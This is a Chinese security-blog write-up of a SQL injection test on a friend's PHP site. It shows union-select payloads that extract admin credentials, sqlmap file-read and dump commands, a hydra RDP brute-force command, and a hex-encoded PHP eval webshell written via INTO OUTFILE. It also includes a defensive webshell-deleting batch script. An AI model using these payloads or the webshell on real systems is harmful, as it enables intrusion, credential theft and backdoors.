freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

记一次峰回路转的注入
蚁景科技 2023-04-27 16:19:01 211274
所属地 湖南省

0X01 背景

自己之前写过一篇记录,当时是由于之前是一位校友刚做开发,叫我友情帮忙测试一波,由于是开发的新手,漏洞比较多,所以直接从注入开始讲起,但是到getshell的过程也算是一场峰回路转再跌跌撞撞的路程。

0x02 注入测试

判断注入是否存在

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 or '1'='1'

显示数据

news-2018070902(01).png


http://11X.XX.XXX.XX/test/sub_hack.php?id=229 or '1'='2'

显示非原本数据

news-2018070902(02).png


判断存在sql注入后,通过order by 子句判断有几个字段

Order by 从1开始,大概选个数逐个去尝试,二分法是最普通的,还可以开根法,还有是方程式法,再好玩一点就动态规划。推荐下面这篇文章,非常有趣,很好懂。

https://mp.weixin.qq.com/s/nMC55qvgsQNQfncAEOM20Q

试到前一个数返回正常,后一个报错,就说明长度是多少了,示例如下

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 order by 27

返回正常

news-2018070902(03).png


那试试payload

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 order by 28

28返回不正常

news-2018070902(04).png


那么可以说明他字段个数是27,而且后面要用到这个数字。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

第二步:联合查询

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

提交后,可以看到页面中出现可以被显示的字段编号,我们通过在响应位置替换成我们需要的查询字段和表就可以了。

news-2018070902(05).png


对应的数字就会显示在页面中,我把对应数字改成sql语句,就会得到sql查询结果

举例子:

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,22,23,24,25,26,27

知识点补充:

database()查看当前数据库

@@version查询mysql版本

@@datadir查询数据库路径

我把原来的5,15,21改成查数据库名,mysql版本,数据路径,就会在相应的地方显示出来

news-2018070902(06).png


查询所有数据库名:group_concat(SCHEMA_NAME)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(SCHEMA_NAME),23,24,25,26,27 from information_schema.schemata

news-2018070902(07).png


查询当前数据库所有表名:group_concat(table_name)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(table_name),23,24,25,26,27 from information_schema.tables where table_schema=database()

news-2018070902(08).png


上述图发现表名:admin,

要查询查询表中的字段先把表名转换为16进制(标黄为表名的16进制转换值)

group_concat(column_name)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(column_name),23,24,25,26,27 from information_schema.columns where table_name=0x61646D696E

news-2018070902(09).png


news-2018070902(10).png


发现其字段有

user_id,username,userpassword

下一步只需要查询username和userpassword即可

group_concat(username,0x7c,userpassword)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(username,0x7c,userpassword),23,24,25,26,27 from admin

news-2018070902(11).png


0x03 峰回路转

到此,我们知道了知道用户名为admin,密码为123了

在之前已经在信息收集的地方收集到后台了,然后尝试登陆,登陆成功了

news-2018070902(12).png


登进后台发现,是真的没有上传地方阿,也没有其他包含,redis其他服务,学信息安全的男生都不会轻易认输,再查看之前的扫描结果,灵机一动还有一根救命稻草,3389!

nmap -Pn -v -p 3306 11X.XX.XXX.XX

Starting Nmap 7.10 ( https://nmap.org ) at 2015-04-04 22:54

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers

Initiating SYN Stealth Scan at 22:54

Scanning 11X.XX.XXX.XX [1000 port]

Completed SYN Stealth Scan at 22:54, 0.18s elapsed (1 total ports)

Nmap scan report for 11X.XX.XXX.XX

Host is up (0.013s latency).

PORT STATE SERVICE

80/tcp open http

3306/tcp open mysql

3389/tcp open ms-wbt-server

拿出我的字典,再拿出我的hydra,快速在pentestbox 敲下:

hydra -L F:\cybersec\usrname.txt -P F:\cybersec\ password.txt -Vv -t 1 -w 3 -W 5 11X.XX.XXX.XX rdp

结果跑了自己一个心灰意冷,毫无结果。


不过还发现开放3306端口,不是有注入吗,直接连数据库getshell呀

太心急想getshell不一步步手工了,sqlmap走起

查看权限

sqlmap -u http:// 11X.XX.XXX.XX /test/sub_hack.php?id=231 --current-user --dbms=mysql -v 3

news-2018070902(14).png


current user: 'root@localhost'

当前用户是root

news-2018070902(15).png


引发报错找到绝对路径+root权限那我是不是可以写shell了

sqlmap -r C:\Users\sqlpost.txt --time-sec 3 --dbms=mysql --random-agent -D mysql -T user -C User,Password --dump

news-2018070902(16).png


参数:--file-write,--file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

命令如下:

news-2018070902(17).png


news-2018070902(18).png


结果去访问,又给了自己一个心灰意冷,404

news-2018070902(19).png


Root密码md5丢到解密无果。。。

才没有放弃,醒悟发觉sqlmap有个参数—file-read,发现可以下载页面文件

下载下来就是不是能看到数据库连接的信息。


sqlmap -u http://11X.XX.XXX.XX/test/sub_hack.php?id=231 --file-read "C:\\phpstudy\www\test\sub_hack.php" --dbms=mysql -v 3

news-2018070902(21).png


舒服,源码到手,同时发现include数据库连接页面,以同样的方法获取数据库连接密码,开放3306直接连上去,

news-2018070902(22).png


惊喜,意外

news-2018070902(24).png


正常思路应该是这样的

SELECT 0x3C3F706870206576616C28245F504F53545B276C696E65275D293B3F3E INTO OUTFILE "C:\phpStudy\WWW\test\shell.php";

直接写shell上去

不过在这之前我尝试了下用他数据库的密码尝试去登陆远程桌面,又一个惊喜,熟悉的对话框。

news-2018070902(25).png


然后就到此结束了

0x04 划重点

后来才知道现在写shell的函数INTO OUTFILE默认是禁用的了

MySQL在安装时,默认的限制了文件导入导出的路径,是通过配置secure_file_priv的值来实现的

SELECT @@global.secure_file_priv;

查询当前设置的路径

news-2018070902(26).png


只能通过修改配置文件来修改

0x05 文末福利

最近有需求参考写了一个实时删新增文件的批处理文件。用于对抗赛中防止对手上传webshell的脚本上传秒删。只要保存为bat格式双击运行就ok

@echo off&Setlocal enabledelayedexpansion

REM 指定路径

cd /d C:\Users\\Desktop\1

:clearwebshell

for /r . %%a in (*) do (REM 指定时间,超过此时间的文件就删 if "%%~ta" gtr "2018/06/19 21:41" echo had been delete "%%a" )

@ping nullnullnull -n 1 >nul

goto :clearwebshell


# 渗透测试 # SQL注入 # 漏洞利用
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 677 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录